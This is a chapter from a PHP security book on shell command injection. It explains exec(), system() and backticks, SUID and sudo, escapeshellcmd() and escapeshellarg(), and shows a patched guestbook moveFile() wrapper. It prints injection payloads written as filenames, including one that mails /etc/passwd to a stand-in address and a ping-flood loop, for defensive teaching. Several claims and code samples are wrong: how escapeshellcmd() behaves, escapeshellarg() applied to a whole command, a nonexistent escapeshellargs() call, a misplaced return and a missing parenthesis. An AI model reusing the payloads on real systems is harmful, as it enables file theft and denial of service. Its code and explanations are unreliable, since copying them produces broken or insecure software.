3 System Calls

In this chapter, we get under the hood and look at how PHP can interact with the operating system, and how to do so safely. We start out with some of the ways that PHP can pass commands directly to the operating system. Unfortunately, although those methods may be convenient, they are also an open invitation to hackers. Next, we show you ways to use the features of the operating system safely and show you how we’ve patched the sample guestbook application.

Navigating the Dangerous Waters of exec(), system(), and Backticks

Sometimes you have a task, such as creating or moving a file, that’s trivial to accomplish by passing it on to the operating system. Unfortunately, once your application starts interacting with the underlying operating system, the entire server is put at risk.

Consider the following scenario. Your application enables users to upload data files that the application will analyze. Once the file is uploaded, it is stored in a temporary directory outside the Web root. After analyzing the file, the application will e-mail the results to the user.

For now we’ll assume that you’ve secured the file upload portion of the application, which we’ll discuss in Chapter 6, “Filesystem Access,” so we’ll focus on the routine that moves the file from the upload directory into the temporary storage directory. The simplest and most obvious way to move a file from one place to another is to let the operating system do it—after all, filesystem operations are one of those basic tasks that operating systems are designed to perform. And PHP gives you five different ways to hand the task off to the operating system. So why are we dedicating an entire chapter to a pretty trivial task?

Because it’s one of the most dangerous tasks PHP allows you to perform.

At this point, you’re probably wondering what’s so dangerous about moving a file from one directory to another. All a malicious user has to do to exploit this system is create an empty file with a slightly unorthodox filename, such as the following:

;mail [email protected] < /etc/passwd;

And yes, that’s a completely legal filename.

Your system picks up the oddly named file and sends the following command to the operating system:

'mv $filename /home/guestbook/uploads';

Unfortunately, what the system sees is actually the following command:

mv ;mail [email protected] < /etc/passwd; /tmp;

The operating system will throw a syntax error (because the mv command expects arguments), then continue to process the rest of the command and blithely e-mail /etc/passwd to [email protected]. Go ahead and try it yourself; just substitute your e-mail address for [email protected].

Most hackers will take the process one step further and encode their mischief in base-64 or some other encoding that’s not easily readable by humans. It doesn’t make any difference to the computer, but it does cloak what they’re trying to do if the errors should show up in a log file somewhere.

Using System Binaries with the SUID Bit and sudo

Before we get into the meat of this section, let’s get a couple of definitions out of the way:

• The SUID or Set User ID bit is a UNIX and Linux filesystem permissions feature that enables you to specify that the application in question should always run as the user that owns the binary file—regardless of which user initiates the process.

• The sudo command enables ordinary users on a UNIX or Linux machine to run specific commands as if they were the root user.

Both of these features have their place, but that place is not in your PHP code. If you allow PHP scripts to raise the privilege level of the nobody user via the SUID bit or the sudo command, any exploitable hole in your application will allow a hacker to take over the entire server as if he or she had root access. In fact, most production Web servers have had the sudo command permanently deleted from the operating system, unless there’s a very good reason for it to be there. Convenience is not a good reason to put the entire server at risk.

Using System Resources

So far we’ve discussed some of the nastier ways that malicious users can take advantage of a PHP application that utilizes system calls. Unfortunately, we’re not quite finished yet. Hackers can use seemingly innocuous system calls to initiate a DoS, or denial-of-service, attack on your server or another server.

It’s fairly easy to see how a malicious user, using the technique described earlier in this chapter, could use your application to access system resources that start a ping flood to a remote server, resulting in network slowdown.

In the previous example, the malicious user entered the following command:

mv ;mail [email protected] < /etc/passwd;

What if the hacker used ping instead of mail, like this:

mv ;while(1==1){ping example.com;}

Now we have an infinite loop that pings the server at example.com, causing excessive network traffic and probably a server crash. This type of attack is based on thousands, if not tens of thousands, of ping requests being sent every second. How could an attacker submit a form in your Web application 1,000 times every second?

Unfortunately, it’s not as impossible as it sounds. You may design your application to be run from within a graphical browser, such as Internet Explorer, Firefox, or Opera, but there’s nothing that prevents someone from accessing your application in other ways. For example, the text-based browser Lynx is often used to automate the process of accessing Web applications.

There are perfectly legitimate reasons to automate access to Web applications. For example, many developers use text-based browsers to perform automated tests of their own applications. (See Chapter 14, “Introduction to Automated Testing,” for more information.) Unfortunately, the same utility that enables developers to test their applications also gives hackers the ability to automate attacks like ping floods.

Using escapeshellcmd() and escapeshellarg() to Secure System Calls

Like so many of the security flaws we discuss in this book, shell command vulnerabilities are fairly simple to fix. Two commands are built into PHP to enable you to safely execute shell commands. We’ll go over both in this section.

escapeshellcmd()

The escapeshellcmd() command escapes, or inserts slashes before, any character in the string that may have special meaning to the operating system. It returns a sanitized string that is relatively safe to send to the operating system. For example, say our application is designed to create a temporary file with a filename supplied by the user, and we had a malicious user who input the following filename:

foo.txt;mail [email protected] < /etc/passwd;

Our code to address this would look like the following:

$tempfile = $_POST['filename'];
$code = "touch /home/guestbook/uploads/$tempfile";
$safecode = escapeshellcmd($code);

If we were to echo $safecode, it would hold the following:

touch /home/guestbook/uploads/foo.txt;mail [email protected] < /etc/passwd;

Unfortunately, because the escaped command is still syntactically correct, the system will interpret and execute it, blithely e-mailing the /etc/passwd file to [email protected]. Not a great solution, but it’s a start.

escapeshellarg()

The escapeshellarg() command takes a different approach and places the entire string to be sent to the operating system within single quotes, eliminating the possibility that wildcards or other special characters will be interpreted by the operating system. To modify the previous example, do the following:

$tempfile = $_POST['filename'];
$code = "touch /home/guestbook/uploads/$tempfile";
$safecode = escapeshellarg($code);

In this case, $safecode would hold this string:

'touch /home/guestbook/uploadsfoo.txt;mail [email protected] < /etc/passwd;'

By placing the entire string within single quotes, we render the special characters meaningless. Rather than being interpreted by the operating system, they are treated as simple characters in a string. Voilà—the malicious command is rendered harmless and can be safely passed to the operating system.

Create an API to Handle All System Calls

Passing any system commands through escapeshellarg() is a useful way to make your application safer. If your application deals with sensitive information or is otherwise a security target, you may want to consider taking the concept one step further and create a custom library that includes just the system calls you intend to use. This involves a little more work on your part, but if a server compromise would be more than a hassle, the benefits may warrant the extra time and effort.

Why Not Just Escape the Arguments and Be Done?

There are several reasons to create a custom API for any system calls your application needs to make:

• Restricting the availability of system commands

Once you create a custom library, or API, your application has access to those commands and no others. You have essentially placed an extra layer of abstraction between your application (and its users and abusers) and the underlying operating system.

• Encapsulating extra sanitizing checks within a single function call

Creating a custom API enables you to keep everything together—system calls and the sanitizing that accompanies them. It’s much easier to maintain than a system where input sanitation and system call sanitation are all done within the main body of the application.

• The ability to extend the API as needed

When you need to change the way your error-logging mechanism works (and you will at some point), it’s a lot easier and safer to change one function instead of trying to find each and every instance of error handling in the entire application. If all your error handling is encapsulated in one place, you’re much less likely to miss something.

• Restricting the use of system calls

Sometimes system calls are necessary; after all, no one ever intended for low-level operating system functions to be reproduced in PHP! But it’s a good idea to use them sparingly, and if you know you have to create a new function each time you use a new system call, you’ll think twice about how necessary it really is.

Validate User Input

We’ve mentioned the importance of validating user input in Chapter 2, “Error Handling,” but it’s so crucial that we’ll bring it up again here. One of the big benefits of creating a custom API to encapsulate system calls is the ability to check user input before you send it on to the operating system, while keeping the basic convenience of a single function call.

In the example used earlier in this chapter, we are expecting a filename, so we can check that the input we get from the user looks like a filename. (See the code snippet in the next section for the regular expression we’ll use to determine whether or not the input looks enough like a filename to pass it through to the operating system. Don’t worry if the code looks as if a three-year-old attacked the keyboard; we’ll discuss the gory details of regular expressions in Chapter 5, “Input Validation.”)

Patch the Guestbook Application

All this sounds great in theory, but how does it work in the real world? We made a couple of changes to our guestbook application to incorporate the new API into the code:

• Wrote the moveFile() function, which includes user input validation code

• Modified the body of the application to call moveFile() instead of using backticks and the operating system’s mv function

The moveFile() Function

The moveFile() function has two main purposes. First, it validates and sanitizes the input passed to it from the main application. Second, it passes the validated input on to the operating system’s mv command, if the input passes validation. The function looks like this:

<?php
function moveFile($tainted_filename) {
        // Set up our variables
        $filename = NULL; // This will hold the validated filename
        $tempPath = '/www/uploads/';
        $finalPath = '/home/guestbook/uploads/';

        // Validate filename
        if(preg_match('/^[A-Za-z0-9].*.[a-z]{0,3}$/', $tainted_filename)) {
                $filename = escapeshellargs($tainted_filename);
        } else {
                return FALSE; // Bail
        }
}
// At this point, we can safely assume that $filename is legitimate and execute
// the command
return exec("mv $tempPath.$filename $finalPath.$filename");
?>

First, we initialize all of our variables. This is important, because it ensures that the only directories the system can work with are the two we’ve defined here. If the file isn’t found in the directory specified in the $tempPath variable, too bad. The command won’t work—which is good, because it alerts the developer or system administrator that something’s wrong. Defining the $finalPath variable ensures that the only place the system can move the file to is the directory we want. There’s no way malicious users can change that setting. This is true even if they pass extra arguments to the function by modifying the URL string, like so:

http://guestbook.example.com?filename=exploit.php&finalPath=www

The extra variables set on the URL string would filter down to our function, like so:

moveFile($filename, $tempPath = '/usr/local/bin/', $finalPath = '/www/'),

Because we initialize all our variables, it doesn’t matter what a malicious user tries to pass into our application, because the two extra variables are immediately overwritten. We set $filename to NULL because it lets us be absolutely certain that the only way $filename contains any data is if the filename passed into the function (stored in $tainted_filename) is clean. If we find that $tainted_filename doesn’t look enough like a filename to satisfy us, the function immediately returns FALSE and exits, so we never get far enough along to actually encounter a system call.

Finally, once we’re certain that $filename looks a lot like a real filename, we go ahead and pass our data to the operating system’s mv function.

Changes to the Application

The application will change very little to incorporate this added layer of security. In fact, we need to change only one line:

'mv $filename /home/guestbook/uploads';

to

if(!moveFile($filename){
      errorHandler("move file did not succeed.");
}

Wrapping It Up

There it is; you’re done. That wasn’t all that hard!

There’s no need to reinvent the wheel. You can use the underlying operating system to handle tasks it’s uniquely designed to do, like handle files. If you use the techniques we discussed in this chapter—creating an API and escaping the shell arguments—you’ll avoid putting your entire Web server in the hands of a malicious user.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.149.27.72